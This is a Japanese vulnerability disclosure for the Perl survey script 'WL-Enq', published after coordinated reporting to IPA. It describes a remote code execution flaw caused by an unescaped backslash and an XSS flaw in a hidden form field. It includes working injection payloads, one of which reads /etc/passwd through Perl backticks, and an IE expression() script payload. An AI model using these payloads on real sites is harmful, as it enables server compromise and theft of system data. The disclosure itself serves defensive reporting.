WL-Enqの脆弱性

IPAに報告した「WL-Enq」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。

任意のコード実行

WL-Enqにはリモートから任意のコードを実行可能な脆弱性がある。

WL-Enqは入力されたアンケート結果をrequireで読み込めるように、perlスクリプトとして書き出している。hogeという名前で1行入力の項目を作り、aaa, bbb, cccと回答すると、このデータファイルになる。

@result=(
'1<>hoge<>text<>ccc<1>bbb<1>aaa<>3<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

「<>」や「'」を入力すると悪戯できそうだが、以下のようにエスケープされる。

@result=(
'1<>hoge<>text<>ddd&lt;&gt;\'<1>ccc<1>bbb<1>aaa<>4<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

ただし、「\」のエスケープが忘れられている。

eee\'); print $HTTP_HEADER_CONTENT_TYPE.`cat /etc/passwd`; (#

と入力すると、

@result=(
'1<>hoge<>text<>\\'); print $HTTP_HEADER_CONTENT_TYPE.`cat /etc/passwd`; (#<1>ddd&lt;&gt;\'<1>ccc<1>bbb<1>aaa<>5<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

こうなって、次にアンケート結果を送信したときに、cat /etc/passwdが実行される。$HTTP_HEADER_CONTENT_TYPEはスクリプト内で、

$HTTP_HEADER_CONTENT_TYPE = "Content-type: text/html; charset=Shift_JIS\n\n";

と定義されている。「'」が「\'」になり、「"」は後述するようにブラウザから普通には送れないので、この変数を使った。

XSS

送信確認画面はこんな感じ。

	<td id="title">hoge</td>
	<td id="value">
	aaa&lt;&gt;
	<input type=hidden name="f1" value="aaa&lt;&gt;">
	</td>

「"」のエスケープがされていないので、hiddenの項目でXSSができる。例えば、

" style="x:expression(alert(document.location))

と入力すると、

	<td id="title">hoge</td>
	<td id="value">
	" style="x:expression(alert(document.location))
	<input type=hidden name="f1" value="" style="x:expression(alert(document.location))">
	</td>

となり、古いIEならばスクリプトが動く。